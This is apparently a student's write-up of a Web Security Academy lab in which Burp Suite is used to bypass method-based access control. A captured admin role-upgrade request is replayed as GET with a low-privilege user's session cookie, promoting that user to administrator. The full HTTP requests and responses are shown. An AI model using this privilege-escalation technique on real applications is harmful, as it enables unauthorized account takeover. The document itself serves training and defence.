

Lab 5 - Method-based access control can be circumvented

Ahmed Khaled Saad Ali

ID:1809799

Lab Progress & Screenshots:

Logging in as Administrator, to search for vulnerabilities

WebSecurity Academy

Method-based access control can be circumvented

LAB Not solved

[Back to lab description >>](#)

[Home](#) | [My account](#)

Login

Username

administrator

Password

.....

Log in

Trying out Upgrading carlos to ADMIN in the Admin Panel with Intercept ON, we will have a POST request appear, with critical information: /admin-roles & Cookie session, username & action below. We will send it to the “Repeater”.

Intercept HTTP history WebSockets history Proxy settings

Request to https://0a39004d04aea134c21f752f003f007d.web-security-academy.net:443 [34.246.129.62]

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

```
1 POST /admin-roles HTTP/2
2 Host: 0a39004d04aea134c21f752f003f007d.web-security-academy.net
3 Cookie: session=SIihU36ysKTSZf040XrX9Gby00HvgN1E
4 Content-Length: 30
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0a39004d04aea134c21f752f003f007d.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0a39004d04aea134c21f752f003f007d.web-security-academy.net/admin
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-US,en;q=0.9
21
22 username=carlos&action=upgrade
```

We will logout from Admin and log in as wiener.

Login

Username

wiener

Password

.....

Log in

With Intercept ON, we refresh wiener page to have request from wiener to get his Cookie session & send request to “Repeater”

Intercept

HTTP history

WebSockets history

Proxy settings

Request to https://0a39004d04aea134c21f752f003f007d.web-security-academy.net:443 [34.246

Forward

Drop

Intercept is on

Action

Open browse

Pretty

Raw

Hex

1 GET /my-account HTTP/2

2 Host: 0a39004d04aea134c21f752f003f007d.web-security-academy.net

3 Cookie: session=ryd3RtR4mvQ9G1VjIOi4MrfhSTmSHrzzx

4 Cache-Control: max-age=0

5 Sec-Ch-Ua: "Chromium";v="111", "No

6 Sec-Ch-Ua-Mobile: ?0

7 Sec-Ch-Ua-Platform: "Windows"

8 Upgrade-Insecure-Requests: 1

9 User-Agent: Mozilla/5.0 (Windows N

10 Accept: text/html,application/xhtml

11 Sec-Fetch-Site: same-origin

12 Sec-Fetch-Mode: navigate

13 Sec-Fetch-User: ?1

14 Sec-Fetch-Dest: document

15 Referer: https://0a39004d04aea134c

16 Accept-Encoding: gzip, deflate

17 Accept-Language: en-US,en;q=0.9

Scan

Send to Intruder Ctrl+I

Send to Repeater Ctrl+R

Send to Sequencer

Send to Comparer

Send to Decoder

Insert Collaborator payload

Request in browser >

Engagement tools [Pro version only] >

We will copy wiener's Cookie Session & paste instead of Cookie session in Admin Request in the "Repeater", also we will change request method to GET.

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer

2 x 3 x +

Send Cancel < >

Request

Pretty Raw Hex

```
1 GET /admin-roles?username=carlos&action=upgrade HTTP/2
2 Host: 0a39004d04aeal34c21f752f003f007d.web-security-academy.net
3 Cookie: session=kyd3RtR4mvQ9G1VjI0j4MkfhSTmSHrzz
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Windows"
8 Upgrade-Insecure-Requests: 1
9 Origin: https://0a39004d04aeal34c21f752f003f007d.web-security-academy.net
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
11 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
    image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-User: ?1
15 Sec-Fetch-Dest: document
16 Referer:
    https://0a39004d04aeal34c21f752f003f007d.web-security-academy.net/admin
17 Accept-Encoding: gzip, deflate
18 Accept-Language: en-US,en;q=0.9
19
```

Username field appears, lets try entering wiener in place of carlos, Send request and then refresh wieners page.

2 x 3 x +

Send Follow redirection

Request

Pretty Raw Hex

```
1 GET /admin-roles?username=wiener&action=upgrade HTTP/2
2 Host: 0a39004d04aeal34c21f752f003f007d.web-security-academy.net
3 Cookie: session=kyd3RtR4mvQ9G1VjI0j4MkfhSTmSHrzz
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Windows"
8 Upgrade-Insecure-Requests: 1
9 Origin: https://0a39004d04aeal34c21f752f003f007d.web-security-academy.net
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
11 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
    image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-User: ?1
15 Sec-Fetch-Dest: document
16 Referer:
    https://0a39004d04aeal34c21f752f003f007d.web-security-academy.net/admin
17 Accept-Encoding: gzip, deflate
18 Accept-Language: en-US,en;q=0.9
19
```

Response

Pretty Raw Hex Render

```
1 HTTP/2 302 Found
2 Location: /admin
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 0
5
6
```



Congratulations, you solved the lab!

[Share your skills!](#)

[Continue learning >>](#)

[Home](#) | [Admin panel](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your email is: sales@gmail.com

Email

Update email

Failed tries:

System had protection for Cookie session copying from user wiener to admin's request in "Repeater". It gives "Unauthorized" in Response.

The screenshot shows a Wireshark packet capture of a POST request to `/admin-roles HTTP/2`. The request is sent to `Host: 0a51001803d2bc9ac3c961e100de0000.web-security-academy.net`. The `Cookie` header is `session=vB80j3ZU9CfRaQLizGvR8sDURLXlsHB`. The `username` field in the request body is `carlos&action=upgrade`. The response is a `HTTP/2 401 Unauthorized` with `Content-Type: application/json; charset=utf-8` and `X-Frame-Options: SAMEORIGIN`. The response body is `"Unauthorized"`.

We tried changing carlos to wiener in username field, but it gave "Unauthorized" in Response as well.

The screenshot shows a Wireshark packet capture of a POST request to `/admin-roles HTTP/2`. The request is sent to `Host: 0a51001803d2bc9ac3c961e100de0000.web-security-academy.net`. The `Cookie` header is `session=vB80j3ZU9CfRaQLizGvR8sDURLXlsHB`. The `username` field in the request body is `wiener&action=upgrade`. The response is a `HTTP/2 401 Unauthorized` with `Content-Type: application/json; charset=utf-8` and `X-Frame-Options: SAMEORIGIN`. The response body is `"Unauthorized"`.

So, we deduced that POST request is heavily protected, so we try with another request method and it worked.

Lessons:

Make sure to cover up protection and clear vulnerabilities of all HTTP request methods.